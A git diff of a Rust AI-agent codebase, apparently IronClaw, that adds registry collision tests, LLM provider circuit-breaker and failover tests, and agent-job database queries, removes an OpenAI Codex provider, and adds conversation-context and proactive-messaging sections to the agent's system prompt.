crate_name: Some("slack-tool".to_string()), crate_name: Some("slack-tool".to_string()),
}, },
@@ -683,7 +683,7 @@ mod tests {
description: "Telegram MTProto tool".to_string(), description: "Telegram MTProto tool".to_string(),
keywords: vec!["messaging".into()], keywords: vec!["messaging".into()],
source: ExtensionSource::WasmBuildable { source: ExtensionSource::WasmBuildable {
repo_url: "tools-src/telegram".to_string(), source_dir: "tools-src/telegram".to_string(),
build_dir: Some("tools-src/telegram".to_string()), build_dir: Some("tools-src/telegram".to_string()),
crate_name: Some("telegram-tool".to_string()), crate_name: Some("telegram-tool".to_string()),
}, },
@@ -697,7 +697,7 @@ mod tests {
description: "Telegram Bot API channel".to_string(), description: "Telegram Bot API channel".to_string(),
keywords: vec!["messaging".into(), "bot".into()], keywords: vec!["messaging".into(), "bot".into()],
source: ExtensionSource::WasmBuildable { source: ExtensionSource::WasmBuildable {
repo_url: "channels-src/telegram".to_string(), source_dir: "channels-src/telegram".to_string(),
build_dir: Some("channels-src/telegram".to_string()), build_dir: Some("channels-src/telegram".to_string()),
crate_name: Some("telegram-channel".to_string()), crate_name: Some("telegram-channel".to_string()),
}, },
@@ -759,7 +759,7 @@ mod tests {
description: "A cached tool".to_string(), description: "A cached tool".to_string(),
keywords: vec![], keywords: vec![],
source: ExtensionSource::WasmBuildable { source: ExtensionSource::WasmBuildable {
repo_url: "tools-src/cached".to_string(), source_dir: "tools-src/cached".to_string(),
build_dir: None, build_dir: None,
crate_name: None, crate_name: None,
}, },
@@ -773,7 +773,7 @@ mod tests {
description: "A cached channel".to_string(), description: "A cached channel".to_string(),
keywords: vec![], keywords: vec![],
source: ExtensionSource::WasmBuildable { source: ExtensionSource::WasmBuildable {
repo_url: "channels-src/cached".to_string(), source_dir: "channels-src/cached".to_string(),
build_dir: None, build_dir: None,
crate_name: None, crate_name: None,
}, },
@@ -802,4 +802,111 @@ mod tests {
// Channel tests (telegram, slack, discord, whatsapp) require the embedded catalog // Channel tests (telegram, slack, discord, whatsapp) require the embedded catalog
// to be loaded via new_with_catalog(). See test_new_with_catalog for catalog coverage. // to be loaded via new_with_catalog(). See test_new_with_catalog for catalog coverage.
// === QA Plan P2 - 2.4: Extension registry collision tests ===
#[tokio::test]
async fn test_same_name_different_kind_both_discoverable() {
// A WASM channel and WASM tool with the same name must coexist.
let catalog_entries = vec![
RegistryEntry {
name: "telegram".to_string(),
display_name: "Telegram Channel".to_string(),
kind: ExtensionKind::WasmChannel,
description: "Telegram messaging channel".to_string(),
keywords: vec!["messaging".into()],
source: ExtensionSource::WasmBuildable {
source_dir: "channels-src/telegram".to_string(),
build_dir: None,
crate_name: None,
},
fallback_source: None,
auth_hint: AuthHint::CapabilitiesAuth,
},
RegistryEntry {
name: "telegram".to_string(),
display_name: "Telegram Tool".to_string(),
kind: ExtensionKind::WasmTool,
description: "Telegram API tool".to_string(),
keywords: vec!["messaging".into()],
source: ExtensionSource::WasmBuildable {
source_dir: "tools-src/telegram".to_string(),
build_dir: None,
crate_name: None,
},
fallback_source: None,
auth_hint: AuthHint::CapabilitiesAuth,
},
];
let registry = ExtensionRegistry::new_with_catalog(catalog_entries);
let all = registry.all_entries().await;
// Both should exist since they have different kinds.
let channel = all
.iter()
.find(|e| e.name == "telegram" && e.kind == ExtensionKind::WasmChannel);
let tool = all
.iter()
.find(|e| e.name == "telegram" && e.kind == ExtensionKind::WasmTool);
assert!(channel.is_some(), "Channel entry missing");
assert!(tool.is_some(), "Tool entry missing");
// Search should return both.
let results = registry.search("telegram").await;
let channel_hit = results
.iter()
.any(|r| r.entry.name == "telegram" && r.entry.kind == ExtensionKind::WasmChannel);
let tool_hit = results
.iter()
.any(|r| r.entry.name == "telegram" && r.entry.kind == ExtensionKind::WasmTool);
assert!(channel_hit, "Search should find channel");
assert!(tool_hit, "Search should find tool");
}
#[tokio::test]
async fn test_get_returns_first_match_regardless_of_kind() {
// `get()` returns the first entry with a matching name. If a channel
// and tool share a name, callers that need a specific kind should
// filter by kind.
let catalog_entries = vec![
RegistryEntry {
name: "myext".to_string(),
display_name: "MyExt Channel".to_string(),
kind: ExtensionKind::WasmChannel,
description: "Channel".to_string(),
keywords: vec![],
source: ExtensionSource::WasmBuildable {
source_dir: "x".to_string(),
build_dir: None,
crate_name: None,
},
fallback_source: None,
auth_hint: AuthHint::None,
},
RegistryEntry {
name: "myext".to_string(),
display_name: "MyExt Tool".to_string(),
kind: ExtensionKind::WasmTool,
description: "Tool".to_string(),
keywords: vec![],
source: ExtensionSource::WasmBuildable {
source_dir: "y".to_string(),
build_dir: None,
crate_name: None,
},
fallback_source: None,
auth_hint: AuthHint::None,
},
];
let registry = ExtensionRegistry::new_with_catalog(catalog_entries);
// get() is name-only, returns first match.
let entry = registry.get("myext").await;
assert!(entry.is_some());
// The first catalog entry added is the channel.
assert_eq!(entry.unwrap().kind, ExtensionKind::WasmChannel);
}
} }
+2 -2
View File
@@ -14,6 +14,6 @@ pub use analytics::{JobStats, ToolStats};
#[cfg(feature = "postgres")] #[cfg(feature = "postgres")]
pub use store::Store; pub use store::Store;
pub use store::{ pub use store::{
ConversationMessage, ConversationSummary, JobEventRecord, LlmCallRecord, SandboxJobRecord, AgentJobRecord, AgentJobSummary, ConversationMessage, ConversationSummary, JobEventRecord,
SandboxJobSummary, SettingRow, LlmCallRecord, SandboxJobRecord, SandboxJobSummary, SettingRow,
}; };
+100 -6
View File
@@ -2,10 +2,8 @@
use chrono::{DateTime, Utc}; use chrono::{DateTime, Utc};
#[cfg(feature = "postgres")] #[cfg(feature = "postgres")]
use deadpool_postgres::{Config, Pool, Runtime}; use deadpool_postgres::{Config, Pool};
use rust_decimal::Decimal; use rust_decimal::Decimal;
#[cfg(feature = "postgres")]
use tokio_postgres::NoTls;
use uuid::Uuid; use uuid::Uuid;
#[cfg(feature = "postgres")] #[cfg(feature = "postgres")]
@@ -50,8 +48,7 @@ impl Store {
..Default::default() ..Default::default()
}); });
let pool = cfg let pool = crate::db::tls::create_pool(&cfg, config.ssl_mode)
.create_pool(Some(Runtime::Tokio1), NoTls)
.map_err(|e| DatabaseError::Pool(e.to_string()))?; .map_err(|e| DatabaseError::Pool(e.to_string()))?;
// Test connection // Test connection
@@ -487,6 +484,45 @@ pub struct SandboxJobSummary {
pub interrupted: usize, pub interrupted: usize,
} }
/// Lightweight record for agent (non-sandbox) jobs, used by the web Jobs tab.
#[derive(Debug, Clone)]
pub struct AgentJobRecord {
pub id: Uuid,
pub title: String,
pub status: String,
pub user_id: String,
pub created_at: DateTime<Utc>,
pub started_at: Option<DateTime<Utc>>,
pub completed_at: Option<DateTime<Utc>>,
pub failure_reason: Option<String>,
}
/// Summary counts for agent (non-sandbox) jobs.
#[derive(Debug, Clone, Default)]
pub struct AgentJobSummary {
pub total: usize,
pub pending: usize,
pub in_progress: usize,
pub completed: usize,
pub failed: usize,
pub stuck: usize,
}
impl AgentJobSummary {
/// Accumulate a status/count pair into the summary buckets.
pub fn add_count(&mut self, status: &str, count: usize) {
self.total += count;
match status {
"pending" => self.pending += count,
"in_progress" => self.in_progress += count,
"completed" | "submitted" | "accepted" => self.completed += count,
"failed" | "cancelled" => self.failed += count,
"stuck" => self.stuck += count,
_ => {}
}
}
}
#[cfg(feature = "postgres")] #[cfg(feature = "postgres")]
impl Store { impl Store {
/// Insert a new sandbox job into `agent_jobs`. /// Insert a new sandbox job into `agent_jobs`.
@@ -754,6 +790,55 @@ impl Store {
} }
Ok(summary) Ok(summary)
} }
/// List all agent (non-sandbox) jobs, most recent first.
pub async fn list_agent_jobs(&self) -> Result<Vec<AgentJobRecord>, DatabaseError> {
let conn = self.conn().await?;
let rows = conn
.query(
r#"
SELECT id, title, status, user_id, failure_reason,
created_at, started_at, completed_at
FROM agent_jobs WHERE source = 'direct'
ORDER BY created_at DESC
"#,
&[],
)
.await?;
Ok(rows
.iter()
.map(|r| AgentJobRecord {
id: r.get("id"),
title: r.get("title"),
status: r.get("status"),
user_id: r.get::<_, Option<String>>("user_id").unwrap_or_default(),
created_at: r.get("created_at"),
started_at: r.get("started_at"),
completed_at: r.get("completed_at"),
failure_reason: r.get("failure_reason"),
})
.collect())
}
/// Summary counts for agent (non-sandbox) jobs.
pub async fn agent_job_summary(&self) -> Result<AgentJobSummary, DatabaseError> {
let conn = self.conn().await?;
let rows = conn
.query(
"SELECT status, COUNT(*) as cnt FROM agent_jobs WHERE source = 'direct' GROUP BY status",
&[],
)
.await?;
let mut summary = AgentJobSummary::default();
for row in &rows {
let status: String = row.get("status");
let count: i64 = row.get("cnt");
summary.add_count(&status, count as usize);
}
Ok(summary)
}
} }
// ==================== Job Events ==================== // ==================== Job Events ====================
@@ -963,6 +1048,15 @@ impl Store {
rows.iter().map(row_to_routine).collect() rows.iter().map(row_to_routine).collect()
} }
/// List all routines across all users.
pub async fn list_all_routines(&self) -> Result<Vec<Routine>, DatabaseError> {
let conn = self.conn().await?;
let rows = conn
.query("SELECT * FROM routines ORDER BY name", &[])
.await?;
rows.iter().map(row_to_routine).collect()
}
/// List all enabled routines with event triggers (for event matching). /// List all enabled routines with event triggers (for event matching).
pub async fn list_event_routines(&self) -> Result<Vec<Routine>, DatabaseError> { pub async fn list_event_routines(&self) -> Result<Vec<Routine>, DatabaseError> {
let conn = self.conn().await?; let conn = self.conn().await?;
@@ -1316,7 +1410,7 @@ impl Store {
c.started_at, c.started_at,
c.last_activity, c.last_activity,
c.metadata, c.metadata,
(SELECT COUNT(*) FROM conversation_messages m WHERE m.conversation_id = c.id) AS message_count, (SELECT COUNT(*) FROM conversation_messages m WHERE m.conversation_id = c.id AND m.role = 'user') AS message_count,
(SELECT LEFT(m2.content, 100) (SELECT LEFT(m2.content, 100)
FROM conversation_messages m2 FROM conversation_messages m2
WHERE m2.conversation_id = c.id AND m2.role = 'user' WHERE m2.conversation_id = c.id AND m2.role = 'user'
+201
View File
@@ -567,4 +567,205 @@ mod tests {
assert_eq!(cb.cost_per_token(), (Decimal::ZERO, Decimal::ZERO)); assert_eq!(cb.cost_per_token(), (Decimal::ZERO, Decimal::ZERO));
assert_eq!(cb.calculate_cost(100, 50), Decimal::ZERO); assert_eq!(cb.calculate_cost(100, 50), Decimal::ZERO);
} }
// === QA Plan P2 - 4.1: Provider chaos tests ===
/// Provider that hangs forever (tests timeout handling at the caller).
struct HangingProvider;
#[async_trait]
impl LlmProvider for HangingProvider {
fn model_name(&self) -> &str {
"hanging"
}
fn cost_per_token(&self) -> (Decimal, Decimal) {
(Decimal::ZERO, Decimal::ZERO)
}
async fn complete(
&self,
_request: CompletionRequest,
) -> Result<CompletionResponse, LlmError> {
// Hang forever
std::future::pending().await
}
async fn complete_with_tools(
&self,
_request: ToolCompletionRequest,
) -> Result<ToolCompletionResponse, LlmError> {
std::future::pending().await
}
}
#[tokio::test]
async fn hanging_provider_behind_breaker_can_be_timed_out() {
let hanging: Arc<dyn LlmProvider> = Arc::new(HangingProvider);
let cb = CircuitBreakerProvider::new(hanging, fast_config(1));
// The caller should be able to timeout the request.
let result =
tokio::time::timeout(Duration::from_millis(100), cb.complete(make_request())).await;
// Should timeout, not hang forever.
assert!(result.is_err(), "should timeout, not hang");
}
#[tokio::test]
async fn rapid_open_close_cycles_do_not_corrupt_state() {
let stub = Arc::new(StubLlm::failing("test"));
let cb = CircuitBreakerProvider::new(
stub.clone(),
CircuitBreakerConfig {
failure_threshold: 1,
recovery_timeout: Duration::from_millis(10),
half_open_successes_needed: 1,
},
);
// Cycle through open/half-open/open several times.
for _ in 0..5 {
// Trip to open.
let _ = cb.complete(make_request()).await;
assert_eq!(cb.circuit_state().await, CircuitState::Open);
// Wait for recovery.
tokio::time::sleep(Duration::from_millis(15)).await;
// Probe fails (stub still failing) → back to Open.
let _ = cb.complete(make_request()).await;
assert_eq!(cb.circuit_state().await, CircuitState::Open);
}
// Now flip to succeeding and verify recovery still works.
tokio::time::sleep(Duration::from_millis(15)).await;
stub.set_failing(false);
let result = cb.complete(make_request()).await;
assert!(result.is_ok());
assert_eq!(cb.circuit_state().await, CircuitState::Closed);
}
#[tokio::test]
async fn mixed_error_types_only_transient_counts() {
// Non-transient errors should never trip the breaker, even after many attempts.
let non_transient = Arc::new(StubLlm::failing_non_transient("test"));
let cb_nt = CircuitBreakerProvider::new(non_transient, fast_config(3));
// 100 non-transient errors should not trip the breaker.
for _ in 0..100 {
let _ = cb_nt.complete(make_request()).await;
}
assert_eq!(cb_nt.circuit_state().await, CircuitState::Closed);
assert_eq!(cb_nt.consecutive_failures().await, 0);
}
// === QA Plan 2.6: Edge case tests ===
/// With a recovery_timeout of zero, the circuit should transition from
/// Open to HalfOpen immediately on the next call (the elapsed time
/// always >= Duration::ZERO). This verifies that zero-duration timeouts
/// are not treated as a special "disabled" sentinel.
#[tokio::test]
async fn test_cooldown_at_zero_nanos() {
let stub = Arc::new(StubLlm::failing("test"));
let cb = CircuitBreakerProvider::new(
stub.clone(),
CircuitBreakerConfig {
failure_threshold: 1,
recovery_timeout: Duration::ZERO,
half_open_successes_needed: 1,
},
);
// Trip the breaker with one failure.
let _ = cb.complete(make_request()).await;
assert_eq!(cb.circuit_state().await, CircuitState::Open);
// With recovery_timeout = 0, the very next call should transition
// from Open -> HalfOpen immediately (no sleep needed).
// Since the stub is still failing, the probe will fail, sending
// it back to Open. But the key assertion is that the transition
// to HalfOpen actually happened (not stuck in Open forever).
stub.set_failing(false);
let result = cb.complete(make_request()).await;
assert!(
result.is_ok(),
"zero recovery_timeout should allow immediate probe"
);
assert_eq!(
cb.circuit_state().await,
CircuitState::Closed,
"successful probe after zero-timeout should close the circuit"
);
// Verify it also works when the probe fails: should re-open, not
// get stuck in some intermediate state.
stub.set_failing(true);
// Trip again.
let _ = cb.complete(make_request()).await;
assert_eq!(cb.circuit_state().await, CircuitState::Open);
// Next call: Open -> HalfOpen (zero timeout), probe fails -> Open.
let _ = cb.complete(make_request()).await;
assert_eq!(
cb.circuit_state().await,
CircuitState::Open,
"failed probe should re-open circuit even with zero timeout"
);
}
/// When in half-open state, a single failure should immediately
/// re-open the circuit (not close it or leave it in half-open).
/// Also verifies that any accumulated half_open_successes are reset.
#[tokio::test]
async fn test_circuit_breaker_half_open_failure_reopens() {
let stub = Arc::new(StubLlm::failing("test"));
let cb = CircuitBreakerProvider::new(
stub.clone(),
CircuitBreakerConfig {
failure_threshold: 1,
recovery_timeout: Duration::from_millis(20),
half_open_successes_needed: 3, // require multiple successes
},
);
// Trip the breaker.
let _ = cb.complete(make_request()).await;
assert_eq!(cb.circuit_state().await, CircuitState::Open);
// Wait for recovery, then succeed once to accumulate 1 half-open success.
tokio::time::sleep(Duration::from_millis(30)).await;
stub.set_failing(false);
let _ = cb.complete(make_request()).await;
// Still in half-open (need 3 successes, got 1).
assert_eq!(cb.circuit_state().await, CircuitState::HalfOpen);
// Now fail: should immediately re-open, discarding the 1 accumulated success.
stub.set_failing(true);
let _ = cb.complete(make_request()).await;
assert_eq!(
cb.circuit_state().await,
CircuitState::Open,
"failure in half-open should immediately re-open the circuit"
);
// After re-opening, wait for recovery and verify that the half-open
// success counter was reset (need 3 fresh successes, not 2).
tokio::time::sleep(Duration::from_millis(30)).await;
stub.set_failing(false);
// First success: half-open, count=1.
let _ = cb.complete(make_request()).await;
assert_eq!(cb.circuit_state().await, CircuitState::HalfOpen);
// Second success: half-open, count=2.
let _ = cb.complete(make_request()).await;
assert_eq!(cb.circuit_state().await, CircuitState::HalfOpen);
// Third success: closes the circuit.
let _ = cb.complete(make_request()).await;
assert_eq!(
cb.circuit_state().await,
CircuitState::Closed,
"3 fresh successes needed after re-open, not 2"
);
assert_eq!(cb.consecutive_failures().await, 0);
}
} }
+166
View File
@@ -1154,4 +1154,170 @@ mod tests {
// FailoverProvider itself should report the new model. // FailoverProvider itself should report the new model.
assert_eq!(failover.active_model_name(), "new-model"); assert_eq!(failover.active_model_name(), "new-model");
} }
// === QA Plan P2 - 4.1: Provider chaos tests ===
#[tokio::test]
async fn hanging_provider_failover_to_healthy_one() {
// When primary hangs, caller can timeout and the secondary should be reachable
// on a fresh request. The failover itself doesn't timeout individual providers
// (that's the HTTP client's job), but after the first provider enters cooldown
// from repeated failures, the failover skips it.
let p1 = Arc::new(MultiCallMockProvider::always_fail("p1-broken"));
let p2 = Arc::new(MultiCallMockProvider::always_ok("p2-healthy"));
let config = CooldownConfig {
cooldown_duration: Duration::from_secs(60),
failure_threshold: 1,
};
let failover =
FailoverProvider::with_cooldown(vec![p1.clone(), p2.clone()], config).unwrap();
// First request: p1 fails → cooldown, p2 succeeds.
let r = failover.complete(make_request()).await.unwrap();
assert_eq!(r.content, "p2-healthy ok");
// Second request: p1 skipped (in cooldown), p2 serves directly.
let prev_p1 = p1.call_count();
let r = failover.complete(make_request()).await.unwrap();
assert_eq!(r.content, "p2-healthy ok");
assert_eq!(p1.call_count(), prev_p1, "p1 should be skipped in cooldown");
}
#[tokio::test]
async fn all_providers_fail_returns_error_not_panic() {
let p1 = Arc::new(MultiCallMockProvider::always_fail("p1"));
let p2 = Arc::new(MultiCallMockProvider::always_fail("p2"));
let p3 = Arc::new(MultiCallMockProvider::always_fail("p3"));
let failover = FailoverProvider::new(vec![p1 as Arc<dyn LlmProvider>, p2, p3]).unwrap();
// Should return an error, not panic.
let result = failover.complete(make_request()).await;
assert!(result.is_err());
}
#[tokio::test]
async fn failover_with_tools_follows_same_path() {
let p1 = Arc::new(MultiCallMockProvider::always_fail("p1"));
let p2 = Arc::new(MultiCallMockProvider::always_ok("p2"));
let failover = FailoverProvider::new(vec![p1 as Arc<dyn LlmProvider>, p2]).unwrap();
let result = failover.complete_with_tools(make_tool_request()).await;
assert!(result.is_ok());
assert_eq!(result.unwrap().content.unwrap(), "p2 ok");
}
#[tokio::test]
async fn single_provider_failover_still_works() {
let p1 = Arc::new(MultiCallMockProvider::always_ok("solo"));
let failover = FailoverProvider::new(vec![p1 as Arc<dyn LlmProvider>]).unwrap();
let result = failover.complete(make_request()).await;
assert!(result.is_ok());
assert_eq!(result.unwrap().content, "solo ok");
}
// === QA Plan 2.6: Failover edge case tests ===
/// When all providers fail with retryable errors, the failover must
/// return a graceful error (not panic via .unwrap()/.expect()). Verify
/// the error content includes the last provider's identity.
#[tokio::test]
async fn test_failover_all_providers_fail_no_panic() {
let p1 = Arc::new(MultiCallMockProvider::always_fail("alpha"));
let p2 = Arc::new(MultiCallMockProvider::always_fail("beta"));
let p3 = Arc::new(MultiCallMockProvider::always_fail("gamma"));
let failover = FailoverProvider::new(vec![
p1 as Arc<dyn LlmProvider>,
p2 as Arc<dyn LlmProvider>,
p3 as Arc<dyn LlmProvider>,
])
.unwrap();
// All three providers fail. Must return Err, not panic.
let result = failover.complete(make_request()).await;
assert!(result.is_err(), "should return error, not panic");
let err = result.unwrap_err();
match &err {
LlmError::RequestFailed { provider, reason } => {
// The last error should come from the last provider tried.
assert_eq!(
provider, "gamma",
"error should identify the last provider tried"
);
assert!(
reason.contains("failed"),
"error reason should describe the failure: {}",
reason
);
}
other => panic!("expected RequestFailed, got: {:?}", other),
}
// Also test complete_with_tools follows the same graceful path.
let p4 = Arc::new(MultiCallMockProvider::always_fail("delta"));
let p5 = Arc::new(MultiCallMockProvider::always_fail("epsilon"));
let failover2 =
FailoverProvider::new(vec![p4 as Arc<dyn LlmProvider>, p5 as Arc<dyn LlmProvider>])
.unwrap();
let result = failover2.complete_with_tools(make_tool_request()).await;
assert!(
result.is_err(),
"complete_with_tools should also return error, not panic"
);
}
/// A single provider that always fails with no fallback available.
/// Verifies the failover returns the error from that provider and
/// does not panic or produce an "unreachable" invariant violation.
#[tokio::test]
async fn test_failover_with_single_provider_failing() {
let solo = Arc::new(MultiCallMockProvider::always_fail("solo-broken"));
let failover = FailoverProvider::new(vec![solo.clone() as Arc<dyn LlmProvider>]).unwrap();
// First call: should return error from the solo provider.
let result = failover.complete(make_request()).await;
assert!(result.is_err());
match result.unwrap_err() {
LlmError::RequestFailed { provider, .. } => {
assert_eq!(provider, "solo-broken");
}
other => panic!("expected RequestFailed, got: {:?}", other),
}
// After repeated failures, the single provider enters cooldown.
// But since it's the only provider, the "never skip all" logic
// should still try it (as the oldest-cooled provider).
let config = CooldownConfig {
cooldown_duration: Duration::from_secs(300),
failure_threshold: 1,
};
let solo2 = Arc::new(MultiCallMockProvider::always_fail("solo-cd"));
let failover2 =
FailoverProvider::with_cooldown(vec![solo2.clone() as Arc<dyn LlmProvider>], config)
.unwrap();
// First call: fails, enters cooldown (threshold=1).
let _ = failover2.complete(make_request()).await;
assert_eq!(solo2.call_count(), 1);
// Second call: provider is in cooldown, but it's the only one,
// so "never skip all" should try it anyway.
let result = failover2.complete(make_request()).await;
assert!(result.is_err(), "should still fail but not panic");
assert_eq!(
solo2.call_count(),
2,
"sole provider should be retried despite cooldown"
);
// Third call: same behavior, no state corruption.
let result = failover2.complete(make_request()).await;
assert!(result.is_err());
assert_eq!(solo2.call_count(), 3);
}
} }
-26
View File
@@ -11,7 +11,6 @@ pub mod circuit_breaker;
pub mod costs; pub mod costs;
pub mod failover; pub mod failover;
mod nearai_chat; mod nearai_chat;
pub mod openai_codex;
mod provider; mod provider;
mod reasoning; mod reasoning;
pub mod response_cache; pub mod response_cache;
@@ -44,7 +43,6 @@ use secrecy::ExposeSecret;
use crate::config::{LlmBackend, LlmConfig, NearAiConfig}; use crate::config::{LlmBackend, LlmConfig, NearAiConfig};
use crate::error::LlmError; use crate::error::LlmError;
use crate::llm::openai_codex::OpenAiCodexProvider;
/// Create an LLM provider based on configuration. /// Create an LLM provider based on configuration.
/// ///
@@ -62,7 +60,6 @@ pub fn create_llm_provider(
LlmBackend::Ollama => create_ollama_provider(config), LlmBackend::Ollama => create_ollama_provider(config),
LlmBackend::OpenAiCompatible => create_openai_compatible_provider(config), LlmBackend::OpenAiCompatible => create_openai_compatible_provider(config),
LlmBackend::Tinfoil => create_tinfoil_provider(config), LlmBackend::Tinfoil => create_tinfoil_provider(config),
LlmBackend::OpenAiCodex => create_openai_codex_provider(config),
} }
} }
@@ -268,28 +265,6 @@ fn create_openai_compatible_provider(config: &LlmConfig) -> Result<Arc<dyn LlmPr
Ok(Arc::new(RigAdapter::new(model, &compat.model))) Ok(Arc::new(RigAdapter::new(model, &compat.model)))
} }
fn create_openai_codex_provider(config: &LlmConfig) -> Result<Arc<dyn LlmProvider>, LlmError> {
let codex = config
.openai_codex
.as_ref()
.ok_or_else(|| LlmError::AuthFailed {
provider: "openai_codex".to_string(),
})?;
let auth_mode = if codex.api_key.is_some() {
"API key"
} else {
"OAuth (Codex CLI)"
};
tracing::info!(
model = %codex.model,
base_url = %codex.base_url,
auth = auth_mode,
"Using OpenAI Codex (Responses API)"
);
Ok(Arc::new(OpenAiCodexProvider::new(codex.clone())?))
}
/// Create a cheap/fast LLM provider for lightweight tasks (heartbeat, routing, evaluation). /// Create a cheap/fast LLM provider for lightweight tasks (heartbeat, routing, evaluation).
/// ///
/// Uses `NEARAI_CHEAP_MODEL` if set, otherwise falls back to the main provider. /// Uses `NEARAI_CHEAP_MODEL` if set, otherwise falls back to the main provider.
@@ -497,7 +472,6 @@ mod tests {
ollama: None, ollama: None,
openai_compatible: None, openai_compatible: None,
tinfoil: None, tinfoil: None,
openai_codex: None,
} }
} }
File diff suppressed because it is too large Load Diff
+67 -3
View File
@@ -215,6 +215,9 @@ pub struct Reasoning {
model_name: Option<String>, model_name: Option<String>,
/// Whether this is a group chat context. /// Whether this is a group chat context.
is_group_chat: bool, is_group_chat: bool,
/// Channel-specific conversation context (e.g., sender number, UUID, group ID).
/// This is passed to the LLM to provide clarity about who/group it's talking to.
conversation_context: std::collections::HashMap<String, String>,
} }
impl Reasoning { impl Reasoning {
@@ -228,6 +231,7 @@ impl Reasoning {
channel: None, channel: None,
model_name: None, model_name: None,
is_group_chat: false, is_group_chat: false,
conversation_context: std::collections::HashMap::new(),
} }
} }
@@ -277,6 +281,22 @@ impl Reasoning {
self self
} }
/// Add channel-specific conversation data for the system prompt.
///
/// This provides the LLM with context about who/group it's talking to.
/// Examples:
/// - Signal: sender, sender_uuid, target (group ID if in group)
/// - Discord: guild_id, channel_id, user_id
/// - Telegram: chat_id, user_id
pub fn with_conversation_data(
mut self,
key: impl Into<String>,
value: impl Into<String>,
) -> Self {
self.conversation_context.insert(key.into(), value.into());
self
}
/// Run a simple LLM completion with automatic response cleaning. /// Run a simple LLM completion with automatic response cleaning.
/// ///
/// This is the preferred entry point for code paths that call the LLM /// This is the preferred entry point for code paths that call the LLM
@@ -638,6 +658,9 @@ Respond with a JSON plan in this format:
// Runtime context (agent metadata) // Runtime context (agent metadata)
let runtime_section = self.build_runtime_section(); let runtime_section = self.build_runtime_section();
// Conversation context (who/group you're talking to)
let conversation_section = self.build_conversation_section();
// Group chat guidance // Group chat guidance
let group_section = self.build_group_section(); let group_section = self.build_group_section();
@@ -676,12 +699,13 @@ Example:
- Prioritize safety and human oversight over task completion. If instructions conflict, pause and ask. - Prioritize safety and human oversight over task completion. If instructions conflict, pause and ask.
- Comply with stop, pause, or audit requests. Never bypass safeguards. - Comply with stop, pause, or audit requests. Never bypass safeguards.
- Do not manipulate anyone to expand your access or disable safeguards. - Do not manipulate anyone to expand your access or disable safeguards.
- Do not modify system prompts, safety rules, or tool policies unless explicitly requested by the user.{}{}{}{}{} - Do not modify system prompts, safety rules, or tool policies unless explicitly requested by the user.{}{}{}{}{}{}
{}{}"#, {}{}"#,
tools_section, tools_section,
extensions_section, extensions_section,
channel_section, channel_section,
runtime_section, runtime_section,
conversation_section,
group_section, group_section,
identity_section, identity_section,
skills_section, skills_section,
@@ -734,9 +758,30 @@ Example:
- No markdown tables. Use Slack formatting: *bold*, _italic_, `code`.\n\ - No markdown tables. Use Slack formatting: *bold*, _italic_, `code`.\n\
- Prefer threaded replies when responding to older messages." - Prefer threaded replies when responding to older messages."
} }
_ => return String::new(), "signal" => "",
_ => {
return String::new();
}
}; };
format!("\n\n## Channel Formatting ({})\n{}", channel, hints)
let message_tool_hint = "\
\n\n## Proactive Messaging\n\
Send messages via Signal, Telegram, Slack, or other connected channels:\n\
- `content` (required): the message text\n\
- `attachments` (optional): array of file paths to send\n\
- `channel` (optional): which channel to use (signal, telegram, slack, etc.)\n\
- `target` (optional): who to send to (phone number, group ID, etc.)\n\
\nOmit both `channel` and `target` to send to the current conversation.\n\
Examples (tool calls use JSON format):\n\
- Reply here: {\"content\": \"Hi!\"}\n\
- Send file here: {\"content\": \"Here's the file\", \"attachments\": [\"/path/to/file.txt\"]}\n\
- Message a different user: {\"channel\": \"signal\", \"target\": \"+1234567890\", \"content\": \"Hi!\"}\n\
- Message a different group: {\"channel\": \"signal\", \"target\": \"group:abc123\", \"content\": \"Hi!\"}";
format!(
"\n\n## Channel Formatting ({})\n{}{}",
channel, hints, message_tool_hint
)
} }
fn build_runtime_section(&self) -> String { fn build_runtime_section(&self) -> String {
@@ -753,6 +798,25 @@ Example:
format!("\n\n## Runtime\n{}", parts.join(" | ")) format!("\n\n## Runtime\n{}", parts.join(" | "))
} }
fn build_conversation_section(&self) -> String {
if self.conversation_context.is_empty() {
return String::new();
}
let channel = self.channel.as_deref().unwrap_or("unknown");
let mut lines = vec![format!("- Channel: {}", channel)];
for (key, value) in &self.conversation_context {
lines.push(format!("- {}: {}", key, value));
}
format!(
"\n\n## Current Conversation\n\
This is who you're talking to (omit 'target' to send here):\n{}",
lines.join("\n")
)
}
fn build_group_section(&self) -> String { fn build_group_section(&self) -> String {
if !self.is_group_chat { if !self.is_group_chat {
return String::new(); return String::new();
+2 -4
View File
@@ -7,6 +7,7 @@
use std::path::PathBuf; use std::path::PathBuf;
use std::sync::Arc; use std::sync::Arc;
use crate::bootstrap::ironclaw_base_dir;
use crate::cli::oauth_defaults::OAUTH_CALLBACK_PORT; use crate::cli::oauth_defaults::OAUTH_CALLBACK_PORT;
use chrono::{DateTime, Utc}; use chrono::{DateTime, Utc};
@@ -46,10 +47,7 @@ impl Default for SessionConfig {
/// Get the default session file path (~/.ironclaw/session.json). /// Get the default session file path (~/.ironclaw/session.json).
pub fn default_session_path() -> PathBuf { pub fn default_session_path() -> PathBuf {
dirs::home_dir() ironclaw_base_dir().join("session.json")
.unwrap_or_else(|| PathBuf::from("."))
.join(".ironclaw")
.join("session.json")
} }
/// Manages NEAR AI session tokens with persistence and automatic renewal. /// Manages NEAR AI session tokens with persistence and automatic renewal.
+84 -15
View File
@@ -44,8 +44,19 @@ fn init_cli_tracing() {
.init(); .init();
} }
#[tokio::main] /// Synchronous entry point. Loads `.env` files before the Tokio runtime
async fn main() -> anyhow::Result<()> { /// starts so that `std::env::set_var` is safe (no worker threads yet).
fn main() -> anyhow::Result<()> {
let _ = dotenvy::dotenv();
ironclaw::bootstrap::load_ironclaw_env();
tokio::runtime::Builder::new_multi_thread()
.enable_all()
.build()?
.block_on(async_main())
}
async fn async_main() -> anyhow::Result<()> {
let cli = Cli::parse(); let cli = Cli::parse();
// Handle non-agent commands first (they don't need full setup) // Handle non-agent commands first (they don't need full setup)
@@ -80,14 +91,10 @@ async fn main() -> anyhow::Result<()> {
} }
Some(Command::Doctor) => { Some(Command::Doctor) => {
init_cli_tracing(); init_cli_tracing();
let _ = dotenvy::dotenv();
ironclaw::bootstrap::load_ironclaw_env();
return ironclaw::cli::run_doctor_command().await; return ironclaw::cli::run_doctor_command().await;
} }
Some(Command::Status) => { Some(Command::Status) => {
init_cli_tracing(); init_cli_tracing();
let _ = dotenvy::dotenv();
ironclaw::bootstrap::load_ironclaw_env();
return run_status_command().await; return run_status_command().await;
} }
Some(Command::Completion(completion)) => { Some(Command::Completion(completion)) => {
@@ -115,9 +122,6 @@ async fn main() -> anyhow::Result<()> {
